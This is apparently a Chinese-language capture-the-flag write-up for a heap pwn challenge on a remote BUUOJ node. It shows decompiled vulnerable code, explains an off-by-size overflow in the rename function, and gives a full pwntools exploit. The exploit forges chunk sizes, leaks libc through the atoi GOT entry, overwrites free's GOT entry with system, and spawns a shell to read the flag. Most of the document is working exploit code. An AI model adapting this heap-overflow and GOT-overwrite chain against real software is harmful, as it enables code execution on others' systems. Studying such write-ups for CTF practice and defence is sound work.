没开PIE,got表可写,管理块里有指针。
有3种堆块:
漏洞点:
//signup函数里用strdup读数据
...
ptr = malloc(0x18uLL);
v2 = hash(a1);
if ( v2 >= 0 )
{
*ptr = strdup(a1); // ptr->name,0,ptr->hash_tbl
ptr[1] = 0LL; // username通过strdup创建大小可变
ptr[2] = user_tbl[v2];
user_tbl[v2] = (__int64)ptr;
result = 1LL;
}
//service 函数里, 如果建的块是0x20,实际可写0x18,这里可以覆盖到下一块的size
case 7:
fwrite("name >> ", 1uLL, 8uLL, stdout);
getnline(v6, 32);
if ( (int)change_name((_QWORD *)a1, v6) < 0 )// name通过dup可能为0x20,这里可写入32字节会溢出
v4 = 0;
break;
步骤:
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
libc_start_main_ret = 0x20840
else:
p = remote('node4.buuoj.cn', 29714)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
menu1 = b'menu > '
def adduser(name):
p.sendlineafter(menu1, b'1')
p.sendlineafter(b"name > ", name)
def login(name):
p.sendlineafter(menu1, b'2')
p.sendlineafter(b"name > ", name)
menu2 = b"menu >> "
def logout():
p.sendlineafter(menu2, b'0')
def show():
p.sendlineafter(menu2, b'1')
def showdmsg():
p.sendlineafter(menu2, b'2')
def showuser():
p.sendlineafter(menu2, b'3')
def sendmsg(msg):
p.sendlineafter(menu2, b'4')
p.sendlineafter(b"message >> ", msg)
def sendmsg2(name, msg):
p.sendlineafter(menu2, b'5')
p.sendlineafter(b"name >> ", name)
p.sendlineafter(b"message >> ", msg)
def removemsg(idx):
p.sendlineafter(menu2, b'6')
p.sendlineafter(b"id >> ", str(idx).encode())
def changename(newname): #freeuser
p.sendlineafter(menu2, b'7')
p.sendlineafter(b"name >> ", newname)
context.log_level = 'debug'
adduser(b'AA')
login(b'AA')
sendmsg(b'A00000') #1
logout()
'''
gef> x/4gx 0x603000
0x603000: 0x0000000000602e28 0x00007f6682e19168
0x603010: 0x00007f6682c09f10 0x00000000004007d6 <--- <free@got.plt>
'''
adduser(b'(.`') #0x603000 0x602e28
adduser(b'CC')
login(b'AA')
changename(b'A'*0x18+p16(0xe1))
removemsg(1)
logout()
adduser(b'D'*8)
login(b'(.`')
sendmsg(b'A'*0x50 + p64(elf.got['atoi'])) #2
showuser()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc_elf.sym['atoi']
system = libc_base + libc_elf.sym['system']
removemsg(2)
sendmsg(b'A'*0x50 + p64(0x603000)) #3
changename(b'#'.ljust(0x18, b'#') + p64(system)[:-2]) #free
changename(b'\x06;/bin/sh;#') #copy then free
p.sendline(b'cat /flag')
p.interactive()